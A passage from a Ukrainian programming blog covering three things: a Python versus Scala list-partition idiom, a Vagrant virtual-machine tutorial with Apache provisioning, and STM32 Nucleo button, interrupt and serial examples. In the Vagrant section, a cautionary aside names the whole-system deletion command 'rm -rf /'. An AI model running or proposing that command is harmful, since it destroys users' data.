Fliegen = [x for x in AllesZusammen if not IstFrikadelle(x)]

В Scala:

(Frikadellen, Fliegen) = AllesZusammen partition IstFrikadelle

Scala, окрім того що коротша, виграє тим що проходиться по списку лише раз.

Але StackOverflow як завжди дає жару:

Frikadellen, Fliegen = [], []
for x in AllesZusammen:
    (Fliegen, Frikadellen)[IstFrikadelle(x)].append(x)
    # або
    # (Frikadellen if IstFrikadelle(x) else Fliegen).append(x)

Це вже краще, але все одно було б добре якби до списку додали метод partition. Може б то Ґвідо поскаржитись?


Filed under: Кодерство Tagged: Python, scala

vagrant up!

Vagrant – це як висловився dmytrish – CLI до VirtualBox. (А також для інших систем віртуалізації. Перекладається слово як бродяга, і далі ви зрозумієте чому. Для чого там інтерфейс командного рядка? Ну, щоб швидше створювати і перемикатись між віртуальними машинами, а вони сьогодні ой як потрібні.)

Для чого? Ну, для початку – щоб ізолювати середовище розробки. Бо, коли я пишу на своїй машині команду python, мені пропонують наступний вибір:

python                python3.3
python2               python3.3-config
python2.7             python3.3m
python2.7-config      python3.3m-config
python2.7-dbg         python3.4
python2.7-dbg-config  python3.4-config
python2-config        python3.4m
python2-dbg           python3.4m-config
python2-dbg-config    python3-config
python3               python3mu
python3.2             python-config
python3.2-config      python-dbg
python3.2mu           python-dbg-config
python3.2mu-config

Трохи забагато, чи не так? А от якби я пробував кожен наступний python у своїй віртуалці – все було б набагато акуратніше.

Чи наприклад інший приклад. Я хочу тестувати взаємодію бота з медіавікі. Для цього мені бажано її мати (не тестувати ж на живій, а раптом помилку зроблю?), а їй потрібен LAMP-стек, тобто апач або nginx, php, mysql. І це потрібно мені не завжди, а лише поки я ганяю тести до медіавікі. Було б класно тримати для цього окрему віртуальну машину, щоб можна було її вмикати і вимикати при потребі. Отож, давайте розберемось як Vagrant в такому випадку може допомогти.

Інсталятор можна скачати зі сторінки http://www.vagrantup.com/downloads, або встановити за допомогою пакетного менеджера:

sudo apt-get install vagrant

Далі команда

vagrant init hashicorp/precise32

Створює в поточній директорії файл з назвою “Vagrant” що містить конфігурацію для запуску віртуальної машини на основі образу 32-х розрядної Ubuntu 12.04.

vagrant up

Запускає віртуальну машину описану в даному файлі.

vagrant ssh

Входить в запущену віртуальну машину.

За замовчуванням Vagrant робить директорію вашого проекту, доступною віртуальній машині за адресою /vagrant. Тому обережно з rm -rf / бо це потре і ваш проект. А окрім цього можете робити з віртуальною машиною що завгодно. Також зручно мати проект і всередині віртуальної машини і на хості, бо можна одночасно редагувати в зручному редакторі з хоста, і деплоїти з віртуалки.

О, щодо розгортання. Ми можемо зайти по SSH і поставити апач, але тоді це доведеться робити всім хто використовуватиме Vagrant з вашим проектом. Замість цього можна скористатись автоматичним деплойментом.

Інструкція пише що Apache ставиться отаким скриптом:

#!/usr/bin/env bash

apt-get update
apt-get install -y apache2
if ! [ -L /var/www ]; then
  rm -rf /var/www
  ln -fs /vagrant /var/www
fi

А також директорія яку він хостить перенаправляється на директорію з нашим проектом.

Його можна зберегти в директорії проекту як bootstrap.sh і відредагувати файл Vagrant так, щоб він запускав цей файл при старті машини, якщо цього не було зроблено ним раніше. Тепер наш Vagrant-файл повинен виглядати приблизно так:

Vagrant.configure(&quot;2&quot;) do |config|
  config.vm.box = &quot;hashicorp/precise32&quot;
  config.vm.provision :shell, path: &quot;bootstrap.sh&quot;
end

Якщо машина вже була запущена, їй можна скомандувати перезапуститись і виконати файл провізіонування:

vagrant reload --provision

Якщо ви отримуєте помилку:

/home/bunyk/post2peer/Vagrantfile:6: syntax error, unexpected ':', expecting kEND
  config.vm.provision :shell, path: "bootstrap.sh"

То значить у вас стара версія Ruby, оновіться.

Як побачити що Apache працює? Браузером звісно, але для цього треба відкрити на віртуалці порт для HTTP. Додаємо до конфігурації такий рядок:

  config.vm.network :forwarded_port, host: 4567, guest: 80

Він каже зробити порт 80 віртуалки доступним на хості як 4567. Щоб зміни мали ефект – перезавантажте машину:

vagrant reload

localhost:4567 повинен показувати вміст файлу index.html, якщо такий наявний в вашому проекті.

Коли ви закінчили роботу з машиною, можна зробити три речі:

  • vagrant suspend – зберегти стан машини і зупинити її. Плюси – все зберігається як ви й залишили і для старту буде потрібно лише 5-10 секунд. Мінуси – машина займатиме диск, бо потрібно буде записати знімок її пам’яті.
  • vagrant halt – зупинити всі програми і вимкнути машину. Вміст диску зберігається, вміст оперативки – звісно ні. Старт буде трохи довшим, бо доведеться знову ініціалізувати всі процеси…
  • vagrant destroy – знищити всі сліди того що ви взагалі працювали з машиною (диск). vagrant up буде працювати ніби вперше. Плюси – нічого не треба зберігати, економиться диск. Мінуси – при старті багато часу піде на провізіонування.

І ще інша перевага Vagrant в тому, що він може керувати не тільки VirtualBox, а й всякими там VMWare, і навіть AWS. Треба просто вказати йому інший провайдер – і ваш сервер в хмарах. Але про це якось іншим разом.

Ах, і я на початку казав про медіавікі. Ну, вона ставиться ось так:

sudo apt-get install nfs-kernel-server # якщо NFS не було встановлено
git clone https://gerrit.wikimedia.org/r/mediawiki/vagrant
cd vagrant
git submodule update --init --recursive
./setup.sh
vagrant up

Filed under: Інструменти, Кодерство Tagged: віртуалізація, розробка

Stm32 Nucleo – вхідні сигнали і комунікація з компю’тером

Сьогодні продовжимо розбиратись з нашою платою, і почнемо з того, як отримати натиснення кнопки. Якщо вас цікавить початок – переходьте сюди.

Якихось чітких інструкцій в інтернеті я не знайшов, зате в IDE було аж два демо проекти про кнопку:

  • “Read the user button state on the Nucleo board.”
  • “Read the user button using external interrupt.”

Код там досить простий, але я його ще спростив ось так:

#include "mbed.h"
 
DigitalIn mybutton(USER_BUTTON);
DigitalOut myled(LED1);
 
int main() {
  while(1) {
    myled = mybutton;
  }
}

Тобто так само як ми оголошуємо що змінна myled міститиме рівень напруги на світлодіоді, так само ми оголошуємо що змінна mybutton міститиме рівень напруги на кнопці.

В документації по mbed написано що оголошення DigitalIn можна використовувати на будь-якому виводі, який позначений на схемі синьою міткою. Якщо на вході будь-яка напруга менше 0.8В – міститиме 0, якщо більше 2В – міститиме 1.

Що цікаво, коли я записав вищеподану програму на плату, світлодіод почав світитись, і почав вимикатись лише коли кнопка натиснута. Це пояснюється чудернацькою схемою підключення кнопок – якщо вона розімкнута – на вхід через резистор йде струм. Якщо замкнута – вхід заземляється, і струм йде в землю, тому там нуль.

Інший приклад – з перериванням:

#include "mbed.h"
 
InterruptIn mybutton(USER_BUTTON);
DigitalOut myled(LED1);
  
void pressed()
{
    myled = !myled;
}
 
int main()
{
    mybutton.fall(&pressed);
    while (1) { // без цього - не працює
        wait(100);
    }
}

Тут з кожним натисканням кнопки світлодіод вмикається або вимикається. Зауважте що тепер ми оголошуємо кнопку не як DigitalIn, а як InterruptIn.

Ок, може пора нарешті попрацювати руками? Хоча страшно, бо кажуть що руками ту плату можна й вбити, якщо створити коротке замикання в неправильному місці. Я от наприклад вирішив спробувати як вона працює окремо від комп’ютера, і замість того аби втикнути USB в комп’ютер, втикнув його в адаптер електричної мережі. Адаптер, як на ньому написано повинен був давати 5.1В 850мА постійного струму. Плата не захотіла моргати до мене світлодіодами, як було запрограмовано, просто LD1 (COM) загорівся загрозливим червоним. Тому напевне спершу піду ще раз інструкцію прочитаю.

Схема виходів. В коді дозволяється використовувати лише ті що написані білим в синіх і зелених прямокутничках.

Шкода що не маю мультиметра, можна було б подивитись яка напруга на яких контактах.

З того що я начитався, виходить що там де написано 5v – є напруга 5В, там де 3V3 – 3.3В. (такий запис – це хитрий спосіб прибрати зайвий символ – десяткову крапку, і зробити підпис компактнішим.) До п’ятивольтового контакту світлодіоди краще приєднувати через резистор. GND – це заземлення (мінус).

В світлодіода довша ніжка – це +, коротша -, або та ніжка що всередині корпусу діода має в собі більше металу – це мінус.

І це можна перевірити, втикаючи світлодіод в 3V3 та GND. Або послідовно з резистором в 5V та GND.

Тепер, давайте зробимо так, щоб наш перемикач з останнього лістингу керував зовнішнім світлодіодом. Для цього втикаємо його мінус в GND, в A5 наприклад втикаємо резистор, і з’єднуємо додатню ніжку діода з резистором.

Замінюємо визначення: DigitalOut myled(LED1); на DigitalOut myled(PC_0);. Перепрошиваємо, і тепер вже зовнішній світлодіод повинен реагувати на нашу кнопку.

Далі я написав програмку яка змушувала б вбудований LED показувати стан піна A5 як входу.

#include "mbed.h"
 
DigitalIn mycontact(PC_0);
DigitalOut myled(LED1);
  
int main() {
    while (1) {
        myled = mycontact;
    }
}

І дуже здивувався, бо коли я опускав туди лише одну ніжку резистора – діод засвічувався. Я подумав що струм тече в мене як заземлення і відпустив резистор – діод все одно світився. Дивно. Або я ще чогось не знаю, або в платі якийсь брак. Думаю варто переключитись на вбудовану кнопку до з’ясування обставин.

Що ще хотілось би зробити – так це взаємодію з комп’ютером. Нехай по натисненні кнопки, комп’ютер виконує якусь команду.

Виявляється, що при приєднанні контролера до комп’ютера, він окрім того що розпізнається як диск, ще й додає пристрій який називається /dev/ttyACM* (замість зірочки має бути якесь число). Принаймі так написано в документації.

Ми можемо подивитись що на цьому пристрої, за допомогою команди:

sudo cat /dev/ttyACM0

Якщо треба вийти, то натискаємо Ctrl+A а тоді вводимо команду :quit. Тепер, можемо змусити контролер посилати нашому комп’ютеру всілякі повідомлення по натисненні кнопочки:

InterruptIn mybutton(USER_BUTTON);
Serial pc(USBTX, USBRX);

void pressed()
{
    pc.printf("I'm clicked!\r\n");
}
 
int main()
{
    mybutton.fall(&pressed);
    while (1) { wait(100); }
}

І ми побачимо щось таке:

$> sudo cat /dev/ttyACM0 
I'm clicked!
I'm clicked!
I'm clicked!

І тепер, ми можемо змусити якийсь процес читати цей пристрій і виконувати з нього команди. Наприклад такий Python скрипт:

import os
with open('/dev/ttyACM0', 'rb', 0) as f:
    while True:
        message = f.read(5) # reading 5 byte messages
        if message == 'ALARM':
            os.system('mplayer -fs /home/bunyk/video/beastie_boys_sabotage.flv')

Замінюємо повідомлення з "I'm clicked!\r\n" на І вийде просто чудова кнопка тривоги наприклад:


Filed under: Інструменти, Кодерство, Конспекти Tagged: C++, hardware